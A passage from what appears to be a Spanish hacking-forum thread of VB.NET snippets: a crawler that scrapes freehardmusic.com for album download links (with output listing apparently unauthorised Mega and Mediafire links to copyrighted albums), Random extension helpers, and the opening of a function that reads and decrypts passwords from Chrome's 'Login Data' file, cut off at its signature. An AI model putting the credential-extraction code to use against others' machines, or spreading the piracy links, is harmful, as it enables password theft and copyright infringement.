genre = Regex.Replace(genre, "\s+", " "c, RegexOptions.None) ' Replace duplicated white-spaces.
genre = New CultureInfo("en-US").TextInfo.ToTitleCase(genre.Trim(" "c).ToLower())
Catch ex As Exception
genre = "unknown"
End Try
Try
year = node.SelectSingleNode(xPathYear).InnerText.Trim(" "c)
Catch ex As Exception
year = "unknown"
End Try
Try
albumUrl = node.SelectSingleNode(xPathUrl).GetAttributeValue("href", "").Trim(" "c)
albumUrl = HttpUtility.HtmlDecode(albumUrl)
Catch ex As Exception
Continue For
End Try
albumId = HttpUtility.ParseQueryString(New Uri(albumUrl).Query)("sobi2Id")
Dim downloadUrlParams As New NameValueCollection From {
{"sobiid", albumId},
{"sobi2Task", "addSRev"},
{"no_html", "1"},
{"option", "com_sobi2"},
{"rvote", "1"}
}
Dim downloadLinks As List(Of String)
Try
Using wc As New WebClient()
htmlSourceCode = Await wc.DownloadStringTaskAsync(New Uri(downloadUrlParams.ToQueryString(Me.uriIndex)))
End Using
Dim xDoc As XDocument = XDocument.Parse(htmlSourceCode)
Dim elements As IEnumerable(Of XElement) = xDoc.<rev>
downloadLinks = New List(Of String) From {
elements.<msg>.Value,
elements.<msg2>.Value,
elements.<msg3>.Value,
elements.<msg4>.Value,
elements.<msg5>.Value,
elements.<msg6>.Value,
elements.<msg7>.Value,
elements.<msg8>.Value,
elements.<msg9>.Value,
elements.<msg10>.Value,
elements.<msg11>.Value,
elements.<msg12>.Value,
elements.<msg13>.Value
}
Catch ex As Exception
Continue For
End Try
downloadLinks = (From item As String In downloadLinks
Where Not String.IsNullOrWhiteSpace(item)
Select item.TrimEnd(" "c)
).ToList()
Dim albumInfo As New AlbumInfo(albumId, New Uri(albumUrl, UriKind.Absolute),
artist, title, country, genre, year,
downloadLinks)
albums.Add(albumInfo)
Next node
Me.OnPageCrawlEnd(New PageCrawlEndEventArgs(Me.SearchQuery, searchPage, albums))
Return True
End Function
#End Region
#Region " IDisposable Implementation "
''' <summary>Flag to detect redundant calls when disposing.</summary>
Private isDisposed As Boolean = False
''' <summary>Releases all the resources used by this <see cref="Crawler"/>.</summary>
<DebuggerStepThrough>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' <summary>Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.</summary>
''' <param name="isDisposing"><see langword="True"/> to release both managed and unmanaged resources;
''' <see langword="False"/> to release only unmanaged resources.</param>
<DebuggerStepThrough>
Protected Overridable Sub Dispose(isDisposing As Boolean)
If (Not Me.isDisposed) AndAlso (isDisposing) Then
If (Me.cancelTokenSrc IsNot Nothing) Then
Me.cancelTokenSrc.Dispose()
Me.cancelTokenSrc = Nothing
End If
Me.cancelToken = Nothing
Me.isFetching = False
Me.ResetSearchQuery()
End If
Me.isDisposed = True
End Sub
#End Region
End Class
End NamespaceNameValueCollectionExtensions.vb
- https://pastebin.com/kUWBFzgB
Ejemplo de uso del FHM Crawler que compartí en este otro post: https://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2158878#msg2158878
Imports FHM
Public Module Module1
Private WithEvents FHMCrawler As New Crawler
Private mre As New ManualResetEvent(initialState:=False)
Public Sub Main()
FHMCrawler.SearchQuery.Artist = "Paramore"
Console.WriteLine("URL: {0}", FHMCrawler.SearchQuery.ToString())
Console.WriteLine()
Console.WriteLine("Retrieving Album count...")
Dim albumCount As Integer = FHMCrawler.GetAlbumCount()
Console.WriteLine("Album Count: {0}", albumCount)
Console.WriteLine()
Console.WriteLine("Begin crawling, please wait...")
Fetch()
mre.WaitOne()
Console.WriteLine("Done!. Press any key to exit...")
Console.ReadKey()
End Sub
Public Async Sub Fetch()
Dim success As Boolean = Await FHMCrawler.FetchAlbumsAsync()
mre.Set()
End Sub
<DebuggerStepperBoundary>
Private Sub FHMCrawler_BeginPageCrawl(ByVal sender As Object, e As PageCrawlBeginEventArgs) Handles FHMCrawler.PageCrawlBegin
Console.WriteLine("[+] Begin crawling page with index: {0}", e.SearchPage)
Console.WriteLine()
End Sub
<DebuggerStepperBoundary>
Private Sub FHMCrawler_EndPageCrawl(ByVal sender As Object, e As PageCrawlEndEventArgs) Handles FHMCrawler.PageCrawlEnd
For Each albumInfo As AlbumInfo In e.Albums
Dim sb As New StringBuilder()
sb.AppendLine(String.Format("Artist Name.....: {0}", albumInfo.Artist))
sb.AppendLine(String.Format("Album Title.....: {0}", albumInfo.Title))
sb.AppendLine(String.Format("Album Year......: {0}", albumInfo.Year))
sb.AppendLine(String.Format("Album Country...: {0}", albumInfo.Country))
sb.AppendLine(String.Format("Album Genre.....: {0}", albumInfo.Genre))
sb.AppendLine(String.Format("Album Id........: {0}", albumInfo.Id))
sb.AppendLine(String.Format("Album Url.......: {0}", albumInfo.Uri.AbsoluteUri))
sb.AppendLine(String.Format("Download Link(s): {0}", String.Format("{{ {0} }}", String.Join(", ", albumInfo.DownloadLinks))))
Console.WriteLine(sb.ToString())
Next albumInfo
Console.WriteLine("[+] End crawling page with index: {0}", e.SearchPage)
Console.WriteLine()
End Sub
End ModuleOutput:
Citar
URL: http://freehardmusic.com/index.php?field_band=Paramore&field_country=all&field_genre=all&field_year=all&option=com_sobi2&search=Search&searchphrase=exact&sobi2Search=&sobi2Task=axSearch&SobiCatSelected_0=0&sobiCid=0&SobiSearchPage=0
Retrieving Album count...
Album Count: 13
Begin crawling, please wait...
- Begin crawling page with index: 0
Artist Name.....: Paramore
Album Title.....: After Laughter
Album Year......: 2017
Album Country...: Unitedstates
Album Genre.....: Pop Rock
Album Id........: 750762
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=750762
Download Link(s): { https://mega.nz/#!cL5DjAyT!yUxVz9-L_E5qLgsUnlrQyu2TTkBjHFy3Qo4rthK6wso }
Artist Name.....: Paramore
Album Title.....: Ignorance (Single)
Album Year......: 2009
Album Country...: Unitedstates
Album Genre.....: Female Vocal, Punk-Rock
Album Id........: 706939
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706939
Download Link(s): { http://www.mediafire.com/file/z4blihr29e08o9v/P_I-Single+14-12-16.rar }
Artist Name.....: Paramore
Album Title.....: Decode (Single)
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Emo, Punk-Rock
Album Id........: 706938
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706938
Download Link(s): { http://www.mediafire.com/file/flmfffs94s6coc7/P_D-Single+14-12-16.rar }
Artist Name.....: Paramore
Album Title.....: Misery Business Ep
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Emo, Female Vocal, Punk-Rock
Album Id........: 706937
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706937
Download Link(s): { http://www.mediafire.com/file/rbn99qf5vcypzmb/P_MB-EP+14-12-16.rar }
Artist Name.....: Paramore
Album Title.....: Hallelujah Ep
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Emo, Female Vocal, Punk-Rock
Album Id........: 706936
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706936
Download Link(s): { http://www.mediafire.com/file/vzmjxy7dzbvz0wu/P_H-EP+14-12-16.rar }
Artist Name.....: Paramore
Album Title.....: Acoustic Ep [Unnoficial]
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 679494
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=679494
Download Link(s): { https://yadi.sk/d/t3uohja1iGahE }
Artist Name.....: Paramore
Album Title.....: The Summer Tic [Ep]
Album Year......: 2006
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 679493
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=679493
Download Link(s): { https://yadi.sk/d/hfBw4_6SiGZpz }
Artist Name.....: Paramore
Album Title.....: The Final Riot!
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669959
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669959
Download Link(s): { http://www.mediafire.com/download/9agyx5hwzha6qsi/PTFR.rar }
Artist Name.....: Paramore
Album Title.....: Brand New Eyes
Album Year......: 2009
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669957
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669957
Download Link(s): { http://www.mediafire.com/download/2151e2bj7qtjaki/PBNE.rar }
Artist Name.....: Paramore
Album Title.....: The Singles Club Ep
Album Year......: 2011
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669955
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669955
Download Link(s): { http://www.mediafire.com/download/b6q2c7nyxdca00n/PSC.rar }
- End crawling page with index: 0
- Begin crawling page with index: 1
Artist Name.....: Paramore
Album Title.....: Pararmore
Album Year......: 2013
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669953
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669953
Download Link(s): { http://www.mediafire.com/download/y11109qmik6icj4/PP.rar }
Artist Name.....: Paramore
Album Title.....: Riot!
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669949
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669949
Download Link(s): { http://www.mediafire.com/download/dyc03s9vokkogv7/PR.rar }
Artist Name.....: Paramore
Album Title.....: All We Know Is Falling
Album Year......: 2005
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669948
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669948
Download Link(s): { http://www.mediafire.com/download/nsbiuigwij7y5tf/PAWKIF.rar }
- End crawling page with index: 1
Done!. Press any key to exit...[/font]
Otro output addicional:
Search Params: field_band=h%c3%a9roes+del+silencio&field_country=all&field_genre=all&field_year=all
Uri: http://freehardmusic.com/index.php?field_band=h%C3%A9roes+del+silencio&field_country=all&field_genre=all&field_year=all&option=com_sobi2&search=Search&searchphrase=exact&sobi2Search=&sobi2Task=axSearch&SobiCatSelected_0=0&sobiCid=0&SobiSearchPage=0
Retrieving Album count...
Album Count: 21
Begin crawling, please wait...
[+] Begin crawling page with index: 0
Artist Name.....: Héroes Del Silencio
Album Title.....: The Platinum Collection (Compilation)
Album Year......: 2006
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770138
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770138
Download Link(s): { https://mega.nz/#!5yAE0ZpA!IFhADBkkKHgEN4Gghum-h9iKbQlH6N3owXymDokmF4Q }
Artist Name.....: Héroes Del Silencio
Album Title.....: Tesoro - Concert In Valencia 27Th October 2007 (Video)
Album Year......: 2008
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770135
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770135
Download Link(s): { https://mega.nz/#!834HAAiY!S7NDexqPxuPU6nEVv9PriekUi3MN3O2oBCtrTd2Nx8Y }
Artist Name.....: Héroes Del Silencio
Album Title.....: Senda '91 (Live)
Album Year......: 1991
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770129
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770129
Download Link(s): { https://mega.nz/#!8uAC1DIS!tctPPSySY6I2v7kteAahx6iKlDVs8R5WnrWvXUBtqaM }
Artist Name.....: Héroes Del Silencio
Album Title.....: En Directo
Album Year......: 1989
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770127
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770127
Download Link(s): { https://mega.nz/#!wnJwmYpD!XIFosoFfCar5UTAAjgORH0QHW8jm5ELRqZGK4UTNMfU }
Artist Name.....: Héroes Del Silencio
Album Title.....: Héroes Del Silencio (Compilation)
Album Year......: 1999
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770126
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770126
Download Link(s): { https://mega.nz/#!47R2jKqD!WmwbU3DvhVoBcZvf2IMPMATpAC_woGtKiBo_YzTp3eo }
Artist Name.....: Héroes Del Silencio
Album Title.....: Senderos De Traición (25Th Anniversary Edition)
Album Year......: 2015
Album Country...: Spain
Album Genre.....: Rock And Roll
Album Id........: 703496
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=703496
Download Link(s): { https://www.mediafire.com/?gwyzc4pvvhjdiax }
Artist Name.....: Héroes Del Silencio
Album Title.....: Volveremos (Compilation)
Album Year......: 2016
Album Country...: Spain
Album Genre.....: Rock And Roll
Album Id........: 703259
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=703259
Download Link(s): { http://www.mediafire.com/file/sh9pr3uvb86my6b/703259.rar }
Artist Name.....: Héroes Del Silencio
Album Title.....: El Espíritu Del Vino (20Th Anniversary Edition)
Album Year......: 2012
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700503
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700503
Download Link(s): { https://mega.nz/#!lgESxaJb!5K3YpWZ1Znq5EhZij9ltPd1GLaTaH_dSePXm5pCN6dg }
Artist Name.....: Héroes Del Silencio
Album Title.....: Antología Audiovisual (Compilation)
Album Year......: 2004
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700490
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700490
Download Link(s): { https://mega.nz/#!w8FUDQhb!COgXmh-uPayeSk5k1mpHrdIy5VziIIvTO7iaW0MfmTM }
Artist Name.....: Héroes Del Silencio
Album Title.....: Entre Dos Tierras (Ep)
Album Year......: 1992
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700488
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700488
Download Link(s): { https://mega.nz/#!7V1H3T4L!1q_o2lLp-b6Ky2p7P_minriRplYwUc8WRdSi7K24aes }
[+] End crawling page with index: 0
[+] Begin crawling page with index: 1
Artist Name.....: Héroes Del Silencio
Album Title.....: Héroes Del Silencio (Ep)
Album Year......: 1986
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700487
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700487
Download Link(s): { https://mega.nz/#!GNkTyZwA!0EXRDQwIpyG5BoVoY5zCnkonnAe3ZzFJmD4hwfmi-og, https://mega.nz/#!ljZ13RRK!u36qptAkX9XJN2LNKKZYTk25o-6kC4vgp1TXZ5wDRyo }
Artist Name.....: Heroés Del Silencio
Album Title.....: Live In Germany (Live)
Album Year......: 2011
Album Country...: Spain
Album Genre.....: Pop Rock, Alternative Rock
Album Id........: 691258
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=691258
Download Link(s): { https://mega.nz/#!84oxmBgB!q1x4NuAd79OUAyp4X7O5Da0b0KFwWwOoFNKqGGFQHW8 }
Artist Name.....: Héroes Del Silencio
Album Title.....: Canciones '84 - '96 (Compilation)
Album Year......: 2000
Album Country...: Spain
Album Genre.....: Classic Rock
Album Id........: 675749
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=675749
Download Link(s): { https://mega.nz/#!8uI0iBBD!3SFYXCJRse5ijwmC9TLgTtfhL8Jr__t3-qSI7IPurSI }
Artist Name.....: Héroes Del Silencio
Album Title.....: Tour 2007 (Live)
Album Year......: 2007
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 639726
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639726
Download Link(s): { https://mega.co.nz/#!t81VUIxT!Y5qEQUR5C8wIA69pH4w90DWRCxN8dcKsCVSFmCT46P8 }
Artist Name.....: Héroes Del Silencio
Album Title.....: Rarezas (Compilation)
Album Year......: 1998
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 639724
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639724
Download Link(s): { http://www.mediafire.com/download/v6oyrrh7un9o8t0/HDS98-R.gif, https://mega.co.nz/#!pgUlFC5Y!M3KOBFXZb5ZoN1TD-KRHOhl1mzIwm5WoQjqtsbncevk }
Artist Name.....: Héroes Del Silencio
Album Title.....: El Ruido Y La Furia (Live)
Album Year......: 2005
Album Country...: Spain
Album Genre.....: Rock And Roll, Hard Rock
Album Id........: 639723
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=639723
Download Link(s): { https://mega.co.nz/#!N1tgEIhA!FhSGL1xaktCN1HphZuOJFn5EmRhetkfS8bUpAB47KCY }
Artist Name.....: Héroes Del Silencio
Album Title.....: El Mar No Cesa
Album Year......: 1988
Album Country...: Spain
Album Genre.....: Pop Rock
Album Id........: 46543
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=46543
Download Link(s): { http://www.mediafire.com/?no7d4y5vp2btna6 }
Artist Name.....: Héroes Del Silencio
Album Title.....: Para Siempre (Live)
Album Year......: 1996
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 43036
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=43036
Download Link(s): { http://www.mediafire.com/?q73ip21df7qb19d }
Artist Name.....: Héroes Del Silencio
Album Title.....: Senderos De Traición
Album Year......: 1990
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37296
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37296
Download Link(s): { https://mega.co.nz/#!ok0UQIrB!bfQdCTtlLd4Rh7MIptTvfnPFDI9oBEd-ZvotzILoCFw }
Artist Name.....: Héroes Del Silencio
Album Title.....: Avalancha
Album Year......: 1995
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37292
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37292
Download Link(s): { https://mega.nz/#!Fc4zEaia!-5LYB3ueWHoZB890f34zsW_aTUTrsFQAwIvbpcZH4as }
[+] End crawling page with index: 1
[+] Begin crawling page with index: 2
Artist Name.....: Héroes Del Silencio
Album Title.....: El Espíritu Del Vino
Album Year......: 1993
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 37253
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=37253
Download Link(s): { https://mega.nz/#!0ZxC2LiJ!D1Rl95lm9sgz9RGxEPSmGSrW8ZvzVH5VckbDOJ81GnA }
[+] End crawling page with index: 2
Done!. Press any key to exit...
Obtener un valor aleatorio de tipo Single (float en C#), Double o Decimal dentro de un rango mínimo y máximo específico.
He implementado esta solución mediante un módulo de extensiones de método para la clase
System.RandomLa lista de miembros disponibles son los siguientes:
- Random.NextSingle() As Single
- Random.NextSingle(Single) As Single
- Random.NextSingle(Single, Single) As Single
- Random.NextDouble(Double) As Double
- Random.NextDouble(Double, Double) As Double
- Random.NextDecimal() As Decimal
- Random.NextDecimal(Decimal) As Decimal
- Random.NextDecimal(Decimal, Decimal) As Decimal
El código fuente:
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Runtime.CompilerServices
#End Region
#Region " Random Extensions "
Namespace Extensions
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains custom extension methods to use with the <see cref="Random"/> type.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<ImmutableObject(True)>
<HideModuleName>
Public Module RandomExtensions
#Region " Public Extension Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a non-negative <see cref="Single"/> value.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Random"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Single"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function NextSingle(ByVal sender As Random) As Single
Return CSng(sender.NextDouble())
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a non-negative <see cref="Single"/> value between zero and the maximum specified.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Random"/>.
''' </param>
'''
''' <param name="maxValue">
''' The maximum value.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Single"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function NextSingle(ByVal sender As Random, ByVal maxValue As Single) As Single
Return NextSingle(sender, 0.0F, maxValue)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a non-negative <see cref="Single"/> value between the minimum and maximum specified.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Random"/>.
''' </param>
'''
''' <param name="minValue">
''' The minimum value.
''' </param>
'''
''' <param name="maxValue">
''' The maximum value.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Single"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function NextSingle(ByVal sender As Random, ByVal minValue As Single, ByVal maxValue As Single) As Single
Return NextSingle(sender) * (maxValue - minValue) + minValue
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a non-negative <see cref="Double"/> value between zero and the maximum specified.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Random"/>.
''' </param>
'''
''' <param name="maxValue">
''' The maximum value.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Double"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function NextDouble(ByVal sender As Random, ByVal maxValue As Double) As Double
Return NextDouble(sender, 0.0R, maxValue)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a non-negative <see cref="Double"/> value between the minimum and maximum specified.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Random"/>.
''' </param>
'''
''' <param name="minValue">
''' The minimum value.
''' </param>
'''
''' <param name="maxValue">
''' The maximum value.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Double"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function NextDouble(ByVal sender As Random, ByVal minValue As Double, ByVal maxValue As Double) As Double
Return sender.NextDouble() * (maxValue - minValue) + minValue
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a non-negative <see cref="Decimal"/> value.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Random"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Decimal"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function NextDecimal(ByVal sender As Random) As Decimal
Return NextDecimal(sender, Decimal.MaxValue)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a non-negative <see cref="Decimal"/> value between zero and the maximum specified.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Random"/>.
''' </param>
'''
''' <param name="maxValue">
''' The maximum value.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Decimal"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function NextDecimal(ByVal sender As Random, ByVal maxValue As Decimal) As Decimal
Return NextDecimal(sender, Decimal.Zero, maxValue)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a non-negative <see cref="Decimal"/> value between the minimum and maximum specified.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="Random"/>.
''' </param>
'''
''' <param name="minValue">
''' The minimum value.
''' </param>
'''
''' <param name="maxValue">
''' The maximum value.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Decimal"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function NextDecimal(ByVal sender As Random, ByVal minValue As Decimal, ByVal maxValue As Decimal) As Decimal
Dim nextSample As Decimal = NextDecimalSample(sender)
Return maxValue * nextSample + minValue * (1 - nextSample)
End Function
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Provides a random <see cref="Decimal"/> value
''' in the range: [0.0000000000000000000000000000, 0.9999999999999999999999999999)
''' with (theoretical) uniform and discrete distribution.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://stackoverflow.com/a/28860710/1248295"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <param name="rng">
''' The source <see cref="Random"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Decimal"/> value.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Function NextDecimalSample(ByVal rng As Random) As Decimal
Dim sample As Decimal = 1D
' After ~200 million tries this never took more than one attempt
' but it Is possible To generate combinations Of a, b, and c
' With the approach below resulting In a sample >= 1.
Do While (sample >= 1D)
Dim a As Integer = rng.Next(0, Integer.MaxValue)
Dim b As Integer = rng.Next(0, Integer.MaxValue)
Dim c As Integer = rng.Next(542101087) ' The high bits of 0.9999999999999999999999999999m are 542101086.
sample = New Decimal(a, b, c, False, 28)
Loop
Return sample
End Function
#End Region
End Module
End Namespace
#End Region
¿Cómo obtener las contraseñas de Google Chrome?En relación a este post: https://foro.elhacker.net/dudas_generales/leer_cookies_de_chrome_y_su_valor-t482292.0.html;msg2159271#msg2159271 (https://foro.elhacker.net/dudas_generales/leer_cookies_de_chrome_y_su_valor-t482292.0.html;msg2159271#msg2159271) - he decidido desarrollar este algoritmo para recuperar contraseñas de Google Chrome. La recuperación tiene limitaciones
en escenarios específicos debido a la naturaleza del tipo de cifrado; si quieren saber más acerca de eso, lean el post en el enlace que he compartido arriba.
Para poder utilizar este código, deben añadir una referencia a la librería
System.Security.dll, y
System.Data.SQLite.dll: https://system.data.sqlite.org/index.html/doc/trunk/www/downloads.wiki
Imports System
Imports System.Collections.Generic
Imports System.Data
Imports System.Data.SQLite
Imports System.IO
Imports System.Net
Imports System.Security.Cryptography
Imports System.Text''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Google Chrome logins stored for the current user.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim loginsFile As New FileInfo("C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data")
''' Dim logins As IEnumerable(Of NetworkCredential) =
''' From login As NetworkCredential In
''' GetGoogleChromeLogins(loginsFile, "_NULL_", "_NULL_", "_UNDECRYPTABLE_")
''' Order By login.Domain Ascending
'''
''' For Each login As NetworkCredential In logins
''' Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
''' Next login
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="loginDataFile">
''' The "Logins Data" file that stores the user logins.
''' <para></para>
''' This file is typically located at: 'C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default'.
''' </param>
'''
''' <param name="defaultIfUsernameEmpty">
''' A default value to assign for an empty username.
''' </param>
'''
''' <param name="defaultIfPasswordEmpty">
''' A default value to assign for an empty password.
''' </param>
'''
''' <param name="defaultIfPasswordUndecryptable">
''' A default value to assign for a undecryptable password.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="IEnumerable(Of NetworkCredential)"/> containing the user logins.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Public Shared Function GetGoogleChromeLogins(ByVal loginDataFile As FileInfo,
Optional ByVal defaultIfUsernameEmpty As String = "",
Optional ByVal defaultIfPasswordEmpty As String = "",
